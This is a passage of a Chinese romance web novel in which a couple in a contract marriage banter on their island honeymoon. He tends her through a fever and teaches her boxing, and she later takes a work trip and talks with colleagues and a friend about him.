还有哪是敏.感.点? 冯意柠花了好几秒思考了下,难道是她记错了,原来他们竟然是可以谈论这种话题的关系吗? 沉默中,冯意柠猜想多半是刚进门脚踝那事,弄得气氛有点尴尬,他们今后还要住在一起相处,这样问她大概是为了避免再次有尴尬的情况。 冯意柠瞥着眼前男人,过于坦然,也很公事公办,于是开口说:“应该没有。” 又轻声补了句:“就算有,也是你碰不到的地方。” “……”裴时叙倒是没再说,“睡吧。” 在男人转身的时候,冯意柠侧躺下,过了一小会没等到动静,稍稍侧了侧头,奇怪地看过去。 正对上少有几分情绪的漆黑眼眸。 “看来确实需要请来第三个人躺中间,是么。” 那怕是整晚没有一个人能善终。冯意柠看向空了一大块的中间区域,这床着实是有点大了,躺了回去,默默从靠近床边的位置挪了一个身位。 过了会,顶灯被摁灭,眼前陷入一片昏暗,再过了一会,身旁传来躺下的声响。 就在冯意柠以为今晚谈话结束在此时,身侧男人说:“抱歉,不经过你允许随意碰你的事情,不会再出现第二次。” 冯意柠缓缓睁眼,垂在一侧的手指很轻地捏住被角。 他是在跟自己道歉吗? 还是那个嘴毒、倨傲到极点的男人吗? 冯意柠说:“知道了。”又说:“多谢。” 其实冯意柠知道他是好意,往真丝被里稍稍蜷了蜷,又赶在男人开口前,说不清为什么,轻声补了句:“睡吧,晚安。” 婚礼后有三天婚假,对外说是小蜜月,但对他们这种没什么感情的协议夫妇来说,也就是图方便的事儿。接下来要在海岛上暂留三天,冯意柠有些职业病上身,脑海里默默思考未来三天的秀恩爱行程安排。 头一天同床共枕,冯意柠其实感觉很困了,却一直没能睡着,身旁躺着一个成年男人,那股存在感就很强烈,男人身上的气息很冷调,随主人那副不近人情的性子。一晚上脑袋昏昏沉沉的,一直在做梦。 第二天冯意柠果不其然睡过头了,其实中途有醒来一次,迷迷糊糊看到床边的高大身影,不过她太困了,以为还在梦里。没想到一睡就到了下午一点半。 回国后,冯意柠一直为项目劳心劳力,这算得是上头一次的久眠。 实在是昨天一整天的行程太恐怖,饶是她自认为身体还不错,也没撑住,四肢到现在还有些酸痛。 等冯意柠洗漱完,走到客厅,几步之外就看到坐在沙发的男人,一截冷白小臂随意撑在扶手处。 身旁躺着个人,她一晚上没睡好,反观这个神情如常的男人,垂眸看着手边的报表,质地讲究的衬衫挺括,面上丝毫看不出异样,完全没有疲态,就像昨晚身边只躺了个稻草木头人。 一道身影从身旁经过,微掀一阵淡淡的茉莉香气。 昨晚床上全是这味,裴时叙不自觉微蹙眉头,被不经意幽幽瞪了眼,只当这姑娘还没睡醒。 冯意柠坐到餐桌旁,拿了块黄油吐司,又拿出保温的皮蛋瘦肉粥,她口味随母亲,偏甜口。而裴时叙明显不怎么吃甜,闻到味都能眉头蹙起,难掩几分嫌弃的意味。他们就连吃都吃不到一起,不合适得很明显了。 简单解决完早餐兼午餐,冯意柠用纸巾擦拭过嘴唇:“不走吗?”裴时叙瞥去了眼,随后挪开目光,手指点了下唇角:“太早。”总感觉男人那眼,跟在看生活不能自理的小朋友似的,冯意柠又轻扯了张纸巾,边擦,边含糊地说:“不早了,到这会都快下午两点了。”转瞬微顿,突然表示理解:“懂。”毕竟事关男人的尊严。 裴时叙微掀眼眸:“懂什么?”冯意柠反问:“你真要我说?”说完,又有些无奈地轻叹:“说了你多半会不乐意听。” 裴时叙说:“真怕我,反倒不像你。”既然对方都诚心求问了,冯意柠也就只能委婉地说:“昨晚毕竟是新婚夜,新婚夫妇起不来,晚点出门也是正常的。” 裴时叙唇角微扯:“我卖体力,老婆起不来什么?”冯意柠:“….…”稍顿,她诚心发问:“有没有人说过,你真的很不给别人一点面子?” “不近人情,目中无人。”裴时叙说,“老婆,还想听什么?”这人嘴上一口一个老婆,叫得那是没有半分真情实意,冯意柠说:“你的老婆拒绝跟你的谈话。” 裴时叙说:“我常听旁人说你脾气好,没架子,随和好相处。”话是好话,就是不可能是这人对自己的评价,冯意柠难掩警惕地看着他。毕竟这男人多半会来句“不过如此”。 冯意柠一时没等到回答,主动发难:“见过了觉得?”无视这姑娘眸里的威胁,裴时叙说:“百闻不如一见。” 冯意柠本来都想好回答的措辞了,这一下让她有些猝不及防,轻拢过鬓边发丝,将话题拉回正事。 “那就晚点出门,都演这么久了,也不差这三天,作息自然要做全套,婚后第一天,新婚夫妻甜蜜共游,我很喜欢舒芙蕾,但这里是海岛,刚好给你表现的机会,待会出门我装作没胃口,你就打通电话,当场叫私人飞机把港式私厨请来。”想了想,又很善解人意地问:“对了,你是想让我演作精款一点的,还是温柔贴心款的一点的?” 裴时叙评价:“很无聊。” 冯意柠好脾气地说:“那您给我一个足够清新脱俗、不无聊的方案。” 修长指骨轻叩了下,裴时叙说:“三天三夜,足不出户。”冯意柠顿了顿,试探性地问:“是我想的那个意思吗?”裴时叙口吻几分意味不明:“还有别的意思么。” 老男人还是老谋深算,这个法子完全是不演胜过演,冯意柠沉默了几秒,很由衷地说:“裴老板,还是你深谋远虑。” 裴时叙不可置否,起身。冯意柠知道工作狂多半是要去工作了,心里想着接下来的安排也要变了,不过不用演恩爱,正好她也乐得自在。 正在想着,裴时叙稍稍侧眸,眸里几分意味不明。冯意柠本能觉得不妙,果然下一秒,男人漫不经心地说:“想威胁人,这种程度可没有半点威慑力。” "?" 几乎是瞬间,冯意柠就意识到男人在说她那句“见过了觉得”的发难的事。 冯意柠虚心请教:“怎样的程度才够?” 裴时叙说:“再接再厉。” “……”她就不该对这个嘴毒的男人抱有一丝不切实际的幻想。 一天后,书房里线上会议刚结束,孟思栀的电话就迫不及待地打了进来。 孟思栀想到就有种荒谬的好笑感:“你们夫妻真是人才,要不是你成天找我开私会,把我扣留在海岛,美其名曰是度假,其实是借着我的由头,天天默默拿小号视奸线上会议,一个老板偷感十足,我还真的要信了外头你和你男人足不出户两天两夜,在King Size Bed Room大战三百回合的传闻了!" 冯意柠纠正:“三天三夜,足不出户。” 孟思栀荒谬地笑了:“哈?” “谁的主意?”孟思栀刚问完,就自问自答道,“肯定是你家老工作狂的主意,你这个小正经,想不出这么荒谬的奇招的。” 冯意柠说:“我很欣慰,你对他有清晰的认知。” 孟思栀:"……" 她难以置信地开口:“所以你们这两天就是你工作,他工作,一起当个饭搭子?”“你形容得不算准确。”冯意柠说,“还是床搭子,但显然是气场不太合,有损我的睡眠健康。”孟思栀:“…… …” 冯意柠说:“不过说得到底,饭搭子算不上,我跟他连吃都不到一起,我甜口,他闻甜就要皱眉头,我讨厌香菜他讨厌芹菜,顶多算是同床异梦的合租室友。”孟思栀:“…………” 足足十秒的沉默中,冯意柠转而提起正事:“鼎禹的项目,最近进展还算顺利,等我回去,安排小邢任瑛跟我出一趟外差。” “你亲自走一趟也放心。”孟思栀像是想起了什么,“负责对接的那姑娘,说起来年纪跟你差不多大,进公司倒是没多久,负责好相处,也很勤快,加班这点,跟你这个小工作狂有的一拼。” 冯意柠说:“你对她印象很深刻。”孟思栀笑了笑:“专业问题不谈,长得很对我的胃口,天然去雕饰,她就是那种。”果然是颜控雷达犯了,冯意柠了然:“把她联系方式推给我。”孟思栀无奈摇头叹气:“你啊,真是事事要操心。” 说完,孟思栀把联系人名片发过去:“对了,她名字还挺特别。”“嗯?”“凝雨,雪的意思。” 冯意柠手指一顿,眸中有几分惊讶:“她姓什么?”“姓秦。”孟思栀说,“怎么?你见过面了啊。”“没见过面。”冯意柠微弯眼眸,“听着名字好听,就多问了句。”他大表哥出国前隐婚领证的太太,她可不敢随意公开。 挂完电话,冯意柠加上了鼎禹这位小秦职员,咨询了会项目上的事情。晚上又拉着孟思栀跟几个组员开了个小会,最近几个项目同时在筹备。 于是辛勤工作后,转眼到了二十三点十五分,冯意柠结束完一整天的工作,发现她竟然着凉生病了。脑袋昏沉,四肢酸麻无力,身上时冷时热,一阵一阵的,眼皮快黏到一起,她怀疑倒头应该就能睡晕过去。 偏偏又口干,冯意柠只能走去中岛台,给自己倒了小半杯温水喝。放好杯子,晕晕沉沉地想走回去时,猝不及防撞到了一堵墙,还是比她高很多的那种,碰到的鼻尖,涌起一小阵的涩痛。 冯意柠缓缓眨了下眼眸,抬眼,却被眼前伸来的大掌覆下阴影,几缕蓬松垂下的额发被微捋起,掌心直直贴到额头。几分不耐的力道,不算很轻,也没有多重。 冯意柠下意识伸手轻握男人手腕,他的身上很热,让她无意识想贴近这片热源。裴时叙说:“松手,你发烧了。”冯意柠含糊“嗯”了声,听话松开手,又稍稍挪进了小半步,伸开两条细长的手臂,环住男人的劲实腰身,侧脸贴着胸膛,小动物似地蹭了蹭,在他的胸.肌上寻了个舒适的贴贴姿势。裴时叙:……."我不是医生。" 冯意柠只觉得她的大熊玩偶,今天很冷漠无情,明明她已经很冷了:“不要。”裴时叙唇角微扯,却没有甩开越黏越紧的纤薄身躯:"别撒娇。" "?" 传来的声音像是隔了层磨砂玻璃,冯意柠不情不愿地从胸.肌上起身,双手却不可肯收回,像是怕跑了似的,松松圈在后腰,交叠着打了个十字结。她微仰着头,眼眸泛着雾蒙蒙:“….…什么?” 这姑娘刚喝完水,微红嘴唇,润着一层水光,身上那股淡淡的茉莉气味,直往鼻腔里钻。裴时叙垂眸瞥了会,不耐拧眉:“还能走么?” 冯意柠反应钝钝的,一时没理解这话里的意思,就被抄起腿弯,拦腰抱了起来。 走去客厅的路上,怀里姑娘的手指还不安分,戳戳点点胸.肌的位置:“摸起来比平常软,还很舒服。”裴时叙只觉得怀里抱了只烫手山芋,无名燥涌起,喉结微滚:“你喝酒了?”冯意柠摇了摇头:“我在做梦。”“不然你怎么会说话。” 裴时叙:“…”“一会没看着,脑袋烧坏了?” 冯意柠还是第一次被自家玩偶嫌弃,深深觉得这是场噩梦,闭了闭眼睛,试图等安静睡醒了回到现实世界。可大熊玩偶很不讲理,冷声冷气的:“不许睡。”冯意柠只闭着眼,装作没听到。 大熊玩偶却很恶劣:“再装睡,把你丢下去。”….…"被威胁的冯意柠,认命地睁开眼睛,心里觉得郁闷,却只能往怀里蜷了蜷。 十五分钟后。 私人医生来了,姓李,是负责裴家医疗团队中的一员。 “太太是着凉引起的发烧,退烧后,注意休息,别太劳累。” 裴时叙听李医生说完医嘱,把他送出门外,给冯意柠递药。刚开始这姑娘不情愿吃,觑了他一眼,又主动乖乖把药拿了吃了,还来了句:“我吃了药,明天你一定要恢复原状。” 裴时叙没理会这疯话,从沙发上把这姑娘拦腰抱起,带回了自己房间,然后叫了客房服务,拿了床厚被子,把病人裹成一只不能动弹的蚕蛹。否则任她自个在房间躺一晚上,还不知道会出什么事儿。 翌日下午快三点半,冯意柠醒来还有些发懵。昨晚她一直梦到在古刑场,被人强迫要胸口碎大石,压得喘不过气,醒来才发现身上这床厚被子在作祟。 烧是退了,冯意柠从醒来洗漱,换了套新睡裙,填饱空腹,到等医生来,整个人都陷入沉默。实在是昨晚发生的事情,让她没办法睁眼面对,还不如直接烧傻呢。 李医生再次向裴时叙说了遍医嘱,转眼却看到——安静坐在沙发上的姑娘,脸颊泛着一层潮红,领口微敞着,清透皮肤隐隐泛着一抹显眼的红,像是某种印记。柔滑杏色睡裙长及小腿,就连白皙嶙峋的脚踝也微微泛红,兀自垂着眸,一副眼神失焦的柔弱模样。 李医生扭头,有些难言,又苦口婆心地说:“裴总,本来在新婚,这话我不应该说,可身体健康最重要,年轻人要节制。”裴时叙:“……” 面对私人医生的误会,裴时叙表示第一次新婚夜没经验,于是虚心讨教。私人医生对此侃侃而谈,给出相当专业又过来人的经验。 “……”在这个时候,冯意柠深深觉得自己很多余。他这种男人做什么都会成功的,世界简直欠他一座奥斯卡小金人。 裴时叙送走李医生,走回来的时候,安静坐在沙发上扮鹌鹑的姑娘,总算不演彩色哑剧了,耳尖冒红,微仰头着问:“你请教这些做什么?”“照顾我体弱多病的老婆。”裴时叙口吻如常,“防止她做到一半晕倒。” 冯意柠:"?"足足十秒的沉默后,她才从那种荒诞的沉默把自己拯救出来,提醒道:“现在只有我们两个人了。” 裴时叙说:“把病养好。”冯意柠不想让他觉得自己身体太弱:“烧退了,我已经好了。”裴时叙淡瞥了她一眼,腰薄脚踝细的,瞧着虚弱好欺负,皮还薄,容易留印子:“不然别人还以为我虐待你。”"把人搞成病号,还不肯放过。" 精神虐待如果有罪,冯意柠觉得完全可以给这个嘴毒到极点的男人判死刑,绝对一点都不冤枉。"………你说话一直这么直接吗?" 裴时叙走开:“方便理解。”冯意柠看着从身前走开的高大背影:"我理解能力一直很好。"裴时叙没回头,只留下淡声一句:“那最好不过。” “……”怎么说着说着就被他套进去了。 冯意柠想了想昨晚被照顾的事儿,要是换作是她被又抱又调戏,精神肯定没有这人稳定。 就算是他的胸.肌再好摸,确实比她的大熊玩偶好捏一点点,她也不能口无遮拦成那样吧。 回想了下那个特别的触感,手忍不住还有些痒,跟她摸过的毛绒绒都不一样,是鲜活的、有力的、会抖动的。很快冯意柠醒神,如果清醒的时候,她碰一下,八成要被这男人打包丢出去。就是不知道这个整天不是在办公室,就是在出差路上的男人,怎么练出这么极品的触感的。 还在想着,眼前茶几上被放了杯温水。裴时叙站在身前:"吃药。"冯意柠吃了药,男人收走她的手机,宣告了她今天禁止工作的安排。 不能工作,那跟咸鱼有什么区别,冯意柠柔声柔气地发问:“请问这跟非法监禁有什么区别?”“你需要养病。”裴时叙用中控打开悬挂式电视,“给你放动画片?” “……”冯意柠微顿,好声好气问,“请问你觉得我几岁?” “那看电影。”裴时叙随便点开个后,走开。冯意柠回头一看。还是恐怖片。 三分钟后,冯意柠把电影关掉,走去自己那间书房,结果发现竟然上锁了。于是只能回到沙发上,抱紧沙发上的抱枕,她刚发烧完,其实有些困,就着身上的绒毯就睡着了。 黄昏时分已至,醺黄斜线在天际沉下,过了会,落地窗外被微光暮色笼罩。冯意柠中途醒了次,很快又睡着了,再次醒来时,起身看到沙发另一侧的男人。深色西装外套随意搭在沙发扶手,男人稍稍仰着头,阖着眼眸,纽扣解了两颗,露出的喉结和锁骨冷白分明。 回国见面后,冯意柠几乎没见过男人的疲态,这算是头遭,多半是昨晚被她折腾得不轻。冯意柠轻手轻脚地走去,确认这人应该是睡着了,担心他受凉,拿了干净的薄毯走近。 走到面前,冯意柠又在思考被没收的手机放到哪了,多看了两眼,没找到,打算先把薄毯盖上再去找。 冯意柠稍稍躬身,只是没想到薄毯刚碰到男人小臂,手腕突然被大力握住。一时身形不稳,手掌只来得及堪堪撑在男人肩膀,这才没有栽倒。 “闹什么?” 嗓音带着刚睡醒的沙哑,很有颗粒的质感,落在耳畔无端性.感。 冯意柠莫名感觉那半边耳畔微热,他的力气太大了,箍在腕间掌心很烫。“阿叙,你抓疼我了。”尾音不自觉带了点微颤。 这话一出。冯意柠微顿,本来是觉得这种情况叫“老公”太奇怪,没想到这声“阿叙”叫出口,气氛就更奇怪了。 一片沉默中。 裴时叙眸底沉下,喉结滚了滚:“我不习惯别人碰我。” 冯意柠表示理解,轻揉了揉被松开的手腕,毕竟她也不习惯睡着有人靠近。鉴于这个姿势已经越过安全距离,她想从男人身上撑起身,却没想到睡裙的蕾丝边缘挂到了男人的链式袖扣。很轻微的滋啦一声,顺着她半起身的力度,柔滑布料被高高撩到大腿.根。 尴尬。 冯意柠连忙伸手去扯,可是越慌乱就越不顺意。 修长指骨伸来,冷白掌背青筋明显,将薄薄一层蕾丝从袖扣上扯离。这才重新盖住大片的白皙皮肤。 太烫了。 冯意柠感觉几乎被男人拢到怀里。 “想拿手机?” “不是。” 冯意柠说完,不知道他信没信,反正看起来是没信。 "那就是没事喜欢坐人身上?" 冯意柠眼睫微颤,反应很快地反驳:“如果没记错,是你扯我的手腕。” 这姑娘神情羞赧,整片耳廓背光泛红,薄薄一层蝉翼的透明色。裴时叙多瞥了眼。也就是不开口的时候,会乖点。 裴时叙没说什么,抬手,漫不经心地拍了拍她的后腰,示意这个黏人的姑娘起身。 “睡不着,做些费体力的事儿?” 冯意柠总算能够起身,警惕地瞥他:“做什么?”裴时叙说:“某种变速循环运动。” ……" 这话难道不是她说过的吗? 14、一条消息 冯意柠当然不会觉得这人要邀请自己进行某种深夜运动。 刚刚只是薄毯碰到了下,就扯住她手腕的架势,没冷着脸把她掀下身,都是这人在慈悲为怀了。 冯意柠跟着裴时叙身后走时。 忍不住打量起眼前男人,真的很高,比她要高一大截,感觉快一米九,黑色衬衫衬得身形挺括,宽直流畅的肩线一路延伸进窄腰,很赏心悦目的身材比例,西裤包裹着两条笔直劲实的长腿,表面禁欲下是有蓬勃的肌肉曲线,很有力量感。 就是很可惜,不让碰。 不然完全可以进行一场毛绒绒和肌肉触感的友好交流,她有很多见解可以分享的。 “在想什么?” 在很纯洁很学术地肖想你的肉.体,冯意柠视线缓缓上移。 男人站在走廊深处的房间前,冷白手背随意垂在一侧,正淡瞥着她。冯意柠回神,面上不显:“在想你说的某种变速循环运动是什么?”裴时叙唇角微扯,推门,冯意柠跟着走了进去。 这竟然是间拳击房。俗话说“穷不跳舞,富不打拳”,冯意柠完全没想到男人还有这种爱好。她还说呢,怪不得会拥有这么极品舒服的触感,看来女娲造人还是公平的。 对于拳击,冯意柠最大的印象就是在电视栏目里见过拳拳到肉、血脉喷张的比赛。对完全没接触的事物,她第一反应是感觉到新奇,又忍不住好奇男人打起来是怎样的,冷脸打拳感觉会很养眼。 某种变速循环运动,嗯……出拳收拳再出拳,确实拳击也算是变速循环了,语言艺术果然博大精深。面对悬挂在眼前的沙袋,冯意柠问:“我是要试这个吗?”裴时叙瞥了她眼。冯意柠看出他淡淡打量的意思:就这个小身板够呛。 然后,裴时叙从角落里拿来一个小型充气不倒翁沙袋。这看起来就像是小朋友的玩具,跟整间拳击房格格不入。“…”冯意柠忍不住有些难言,“您这么有童心?”“未雨绸缪。”裴时叙说,“这不眼下正好用得上么。” 被无端看轻的冯意柠,很委婉地表达她的不满:“我脚踝还没有好全。”裴时叙垂眸,若有所思地瞥了眼。“刚走得挺自在。” 冯意柠:“….…”这人真的很不懂得社交礼貌。裴时叙看了她眼:“走吧。”冯意柠叫住:“阿叙。”她就是委婉表达一下不满,其实说实话还挺跃跃欲试的。 裴时叙侧眸:“不走?”冯意柠有理有据地说:“既然老公都诚心邀请了,我也不想辜负你的好意。”裴时叙原话还回:“不是脚踝没好全?”冯意柠说:“可以克服。” 裴时叙唇角微扯。冯意柠察觉到男人还是要走,又问:“你去哪?”裴时叙没回头,只留下淡声:“想办法伺候祖宗。” 祖宗?冯意柠缓缓眨了下眼眸,觉得很冤枉,有她这种天天反过来被欺负的好脾气祖宗吗?老男人凭空污蔑她的清白。 裴时叙回来的时候,正看到冯意柠稍稍躬身,手指点点戳戳悬挂沙袋,模样相当认真,如果忽略动作、地点和物品,只看神情,多半以为她在进行某项严谨重要的科研实验。这姑娘明显是很有兴趣,装作没兴趣。 冯意柠听到脚步声,直起身,偏头,却看到裴时叙手边的新轮椅。直到新轮椅被推到眼前,冯意柠陷入久久的沉思,跟裴爷爷有了同种感受:“我终于知道,为什么裴爷爷每次都要控诉你。 可既然对方都拿来轮椅,那不坐多对不起这份好心,冯意柠便施施然坐下。裴时叙把拳击手套递给她。冯意柠比对了下,大概是她的型号,然后看到男人手里的缠护手带,把拳击手套放在大腿上,下意识想伸手接。裴时叙没急着递出去:“会?” 冯意柠收回手,诚实地说:“不会。”裴时叙说:“手展开。”冯意柠听话展开手掌,修长指骨拿着黑色缠护手带,依次固定手腕、手掌、指缝,男人的动作很熟练,骨节很大,冷白掌背青筋明显。 本来是想学着怎么缠,冯意柠实在是被缠花了眼,直到两只手掌被缠绕完毕,整个脑海里的顺序步骤还在卡壳中。转眸看到男人给自己缠好了护带,垂着眸,动作慢条斯理,白色顶灯映着这副过深的五官,有种冷脸的性感。 在男人微掀眼眸瞥来时,冯意柠一瞬间有被击中的感觉,垂在腿侧的手指微蜷,不自然挪开目光:“可以开始了吗?”裴时叙说:"看够了,就可以开始。" “……”难道人摆在面前,不就是让人看的吗?谁让他长得这么对口味的。 可冯意柠也就是心里想想,毕竟要是让裴时叙知道长相几乎按着她的审美点长的,指不定要怎么打趣她。 “阿叙……” 裴时叙淡声重复:“阿叙。”冯意柠按耐心下异样感觉,仰着头,微弯眼眸:“对啊,私下成天老公来老婆去,听着多腻歪。” 裴时叙不可置否。 冯意柠瞧见他这副漫不经心的神情,心念一转,就很想要找回场子:“难不成你很喜欢听被叫老公?” 裴时叙淡瞥了她眼,漆黑眸中几分意味不明:“那我该叫你什么?”冯意柠张了张唇,突然不清楚该怎么回答男人这个问题,尤其是这道直直而来的目光,让她感知到危险,想伸手推开轮椅。却被男人俯身拦住,双臂撑在两侧,落在耳畔的薄唇微动。“柠柠。” 太近了,冯意柠眼睫微颤,觉得低音炮在耳边实话简直是犯规,是作弊,伸手戳了戳男人小臂:"我身边只有亲近的人,才这样叫我。" “姓赵的不是照样喊得亲热么。”裴时叙起身,唇角微扯,“看来贵人忘性大。” 不提其实都快忘记了,冯意柠顿时想起当时那种头皮发麻的咯噔感觉:“确实不熟,他自作主张。” 说完,冯意柠总觉得哪里有不对劲,听起来怎么感觉像在跟他解释什么似的。冯意柠微仰着头,狐疑地问:“你是在查我的岗吗?”“姓赵的还是别的,都不重要。”裴时叙说,“至少这段婚姻存续期间,我不希望出现任何意外。”冯意柠说:“这是我们的共识。” “最好不过。”裴时叙说,“柠柠,你现在是有老公的人。” “……”这用得着来提醒她吗? 冯意柠说:“清楚,这两天身边睡着这么大一个人,我又不是木头人。” 裴时叙说:“这样。” 冯意柠屏息,总觉得他还能语出惊人。 下一秒,他说:“所以同床共枕,不算亲近的关系?” 他绝对是故意的,冯意柠还是委婉、善解人意地提醒:“你这样,跟你好违和。”裴时叙难得有耐心地问:“哪样?” 冯意柠有些犹豫地说:“就是柠柠长柠柠短的。”裴时叙口吻淡淡:“不是说成天老公来老婆去腻歪么。”自己说过的话,完全是搬起石头砸自己的脚,冯意柠在心里忧郁地叹了口气,她不就打趣了句他难道 喜欢听被叫老老公,用得着这么报复她吗?老男人真的好小心 眼。只能认命道:“你想叫就叫吧。”不就是柠柠吗?叫几声,反正她又不会掉一块肉。 败下阵来的冯意柠,只想转移话题:“你是专业的吗?”说完,又忍不住多欣赏了几眼面前的西装暴徒,黑色衬衫的衣袖挽起,露出一截流畅紧实的小臂线条,冷白却不孱弱,很有力量感。 对上目光,冯意柠默默在心里比对了下他们的体型差距,由衷地说:“我感觉我两个都不够你打的。”裴时叙淡觑了眼。冯意柠总觉得又被男人看轻了。 没几秒,裴时叙说:“不必这么说。”冯意柠:“?”“太看起自己。”“…….” 半小时后。 冯意柠用感觉毛巾擦了擦额头的汗,在她耐心晓之以情、据理力争后,总算由小型充气不倒翁沙袋换成悬挂沙袋。 不得不说,私教课确实很吸引人,就连冯意柠这样的生手,都能找到那种解压和释放压力的乐趣。尤其是一拳,致难说话又听不懂人话的甲方。再一拳,致欺软怕硬、笑面推诿的内部管理层。 运动完一场后,冯意柠格外神清气爽,一扫郁郁病气,偏头对上男人目光,总算后知后觉想起遗忘已久的偶像包袱。"我刚刚会不会太残暴了点?" 裴时叙瞥她:“猫儿挠的劲。”“……”还她刚刚那个性.冷淡又专业的私教老师。稍顿了顿,冯意柠回想刚刚很良好的体验,几分矜持地说:"考虑开班吗?""我还很愿意无私奉献,当这个实验小白鼠学生的。" 小姑娘得了便宜还想卖乖,裴时叙慢条斯理地解开黑色护带:"叫我什么?"冯意柠难得乖地叫道:“裴老师。”却听他说:“不考虑。”冯意柠:“……”这个男人,真的好恶劣的性子。 裴时叙被幽幽瞪了眼,也当没这回事,扯过小姑娘的手,垂眸,解起护带,看她解了半天,也没解出个所以然来。“别把自个裹成木乃伊。” 冯意柠稍稍凝眸,瞥着男人垂眸,浓长眼睫在眼脸落下刀锋般的阴翳。"我感觉拳击还挺有趣的,很适合解压放松,回去找个私教老师。"护带完全被解开,裴时叙看清泛红的手腕,小姑娘皮薄肤白,瞧起来显得严重。“初学者不当,轻则肌肉拉伤,重则骨折。”冯意柠听这话头皮发麻,有种肌肉已经在隐隐作痛的错觉了。"私教老师是专业的,应该不会出现说的这种情况。" 裴时叙放下她的手,微掀眼眸,似是瞥来了眼:“随意。”冯意柠看着离开的高大背影,心里有些纳闷,刚刚气氛不是还不错吗? 睡觉前,冯意柠终于重获手机自由,靠在床头,简单处理完了工作消息,往旁边稍稍挪了小半步。身旁传来低沉冷感的嗓音。“有事?” 冯意柠轻声问:“你生气了?”裴时叙没抬眸。也不知道手里的报表有多好看?冯意柠试探性地问:“是因为我放着专业又养眼的的裴老师不管,要去找别的私教老师?” 裴时叙仍是垂眸:“找私教老师,我生哪门子气?” 嘴硬。明明都很冷脸了,冯意柠觉得多半跟这个男人的控制欲有关,毕竟她对自己带出来的实习生,也有过这种微妙的情绪。 怀着维持资方爸爸兼友好合作伙伴的和睦关系,也是项重要工作的想法——冯意柠决定哄哄他。 “我就是觉得,裴老师这么耐心专业,我本来就是兴趣,平常工作还忙,外人还要花时间磨合,万一不合适换人,又或是私教老师看到我容易留痕,以为我受伤,要是解释起来,也是件麻烦事。” 裴时叙唇角微扯:“娇气。”“……”赚钱不寒,冯意柠面上含笑,在心里默默做自己的心理建设。“既然裴老师不愿意,那也不好勉强。” 明晃晃的以退为进,这皮薄的姑娘,指不定在外真受什么伤回来,放在眼皮子底下省去麻烦。裴时叙说:“没说过不同意。” 冯意柠微弯眼眸。换言之,那就是同意的意思。“真的?”裴时叙说:“不愿意就作废。”“没不愿意。”冯意柠心情有点好,“裴老师,您君无戏言,承诺一言九鼎,驷马难追。” “柠柠。”“嗯?”被男人这样叫小名,还是会有些不适应。“大清亡了。” “……”冯意柠沉默了几秒,“裴老师是想赖账?”裴时叙反问:“哪来的账?”果然是资本家,空头支票这一套真是用得炉火纯青。冯意柠很轻地叹气:"说出口的话,怎么还带收回的?" 裴时叙说:“给你一个表现机会。”冯意柠问:“什么?”“现在睡觉。”冯意柠乖乖躺回去,下巴尖微蜷在真丝被边沿,几分孩子气:“知道了,裴老师这是嫌弃我吵的意思。”说完,只留给男人一个倔强的后脑勺。又在装可怜卖乖,裴时叙说:“回去挑几副护具。” 撑在真丝被边沿的手指微动了动,裴时叙淡瞥过,这姑娘太过黏人。“嗯。”冯意柠微弯眼眸,心里已经开始默默期待男人冷脸打拳,而她旁观大饱眼福的场面。 小蜜月结束的头天早上,冯意柠睡了最后一个懒觉,醒来的时候,发现裴时叙已经离开了,身侧那边床铺完全凉透。准备妥当后,冯意柠直接出差,助理任瑛来机场接她。这次度假岛项目,是跟鼎禹集团的首次合作,她大表哥名下的产业。 冯意柠到了现场,一个年轻姑娘朝她笑道:“小冯总,我是秦凝雨,这次主要负责跟您团队对接项目的组员。”见到这姑娘的第一面,冯意柠颜控雷达就在响,一见难忘的温柔似水,很容易获取旁人的好感,确实孟思栀眼光很准。也难怪她那心如磐石的大表哥,肯认下这门婚事。 开了一整天会议后,冯意柠请客加餐,恰逢雨夜路上塞车。孟思栀朋友多,刚到就往当地一个朋友车库里开了辆车出来,系好安全带,一时没有启动,而是摇下车窗,冲着外头结伴的两个姑娘招呼:“上来一起吧。” 过了会,鼎禹项目组的两个姑娘上车,一连说了几声谢谢,身上沾了点微湿,冯意柠拿纸巾递过去,又收获几声谢谢。冯意柠笑了笑:“不用这么紧张。” 其中一个姑娘摆手:“不紧张不紧张。” 车上有矿泉水,冯意柠问:"时乔,喝水吗?"“谢谢,不用。”林时乔有些没想到,“小冯总记得我?”“记性还算可以。”冯意柠微弯眼眸,转而问,“凝雨呢?”秦凝雨笑道:“不用了,谢谢小冯总。” 正在说着,有个物件掉落脚边,冯意柠躬身捡起来,发现是个璃兔的DIY小周边。 秦凝雨说:“是我的。” 冯意柠递给她:“这是步步锦。” 秦凝雨接过,一时没说话,反倒是林时乔开口道:“小冯总,你也对那个窗什么美学感兴趣吗?” 冯意柠补全:“中式窗棂美学。” 林时乔说:“对,是这个,我们这位小秦组员很迷这个,应该和小冯总很聊得来。”冯意柠遇见同好,心里当然开心:“改天可以一起聊。”“我这里还有一个灯锦纹的小周边,一直没有找到了领养的伙伴。”秦凝雨说,"我也是璃兔的粉丝,最近在蹲先导片,很期待。”冯意柠接过这姑娘送的小周边:“谢谢,我很喜欢。” 孟思栀笑道:“凝雨,你见着面第一天就该先说这个,保准我们家这个小冯总,肯定能更好说话。”秦凝雨弯了弯眼眸,顺着这个玩笑开下去:“看看能不能找到时光机,把我运回到见面第一天。”冯意柠口吻几分玩笑意味:"那没用,谈生意要铁石心肠,公事公办。" 冯意柠结束出差回临北的那天,直奔去公司开会,婚前签订的合约里有很重要的一条承诺——此时由景越提供的一支全景投影技术团队就位,主负责人姓林,西装笔挺。项目组的所有成员掐着时间点,盼星星盼月亮,可总算是盼了过来,整个工作室上下都充斥着喜悦的气氛。 当晚是接风宴。 回去路上,冯意柠跟孟思栀坐一辆车,她们俩都喝了酒,车是司机在开,车后座被挡板隔开。 等长红灯的时候,孟思栀感叹道:“说真的,你家老公有个优点就是靠谱,黄金时段的全部大屏说安排就安排,技术团队定好哪天就哪天就位。”唯一不满的就是:“他怎么不来接你?” 冯意柠说:“他去国外出差。”“你们还挺有默契。”孟思栀说,“你出差他在临北,你回临北他去国外出差。”“这婚啊,也就你们俩工作狂能过到一起,换个别人都不成,换个角度来说,你们这也算是万一挑一,天降良配。”冯意柠说:"那你对良配的要求,也太低了。" 孟思栀笑了笑:“那脸那身材天天在你眼前晃,真没有点心动?”冯意柠顿时想起那种极品的触感,还有些跃跃欲试:“没有。”孟思栀准确捕捉到她的迟疑:“撒谎,你脸红了。”冯意柠说:“热的。”在孟思栀饱含怀疑的视线中,柔声柔气地说:“红酒上脸。”孟思栀没有继续问,意味深长地“噫”了声:“骗骗你善良贴心的好朋友就行,别把自己也骗了。” 